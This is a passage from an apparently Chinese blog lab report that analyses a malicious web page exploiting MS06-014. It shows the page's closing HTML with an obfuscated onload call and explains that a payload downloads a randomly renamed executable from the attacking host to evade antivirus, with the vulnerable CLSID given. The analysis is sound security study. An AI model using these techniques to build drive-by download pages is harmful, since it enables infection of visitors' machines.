        </script>
    </head>
    <body οnlοad='izopUmNYeCKXOaxNAkMfwyWqPuURx()'>dobVqNcHoFsvvGboYU</body>
</html>

 

 可以看到其中使用到document.location加载了payload,并且下一行中后面跟了一个可执行文件SUSVGJiyTDMzRFxRLTOnMUypiSQX.exe,这个可执行文件是以攻击机为服务器,通过网页下载到靶机上的。为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。

 

BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的clsid变量,搜索 BD96C556,可知攻击者使用的漏洞是MS06-014。

3.学习中遇到的问题及解决 

问题:在进行第三步时,代码格式化总是有问题

解决:先压缩再格式化

4.实践总结

此次实验过程比较复杂,但是同时也学会了很多东西,只要按照步骤来,仔细一点,最后都会成功的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值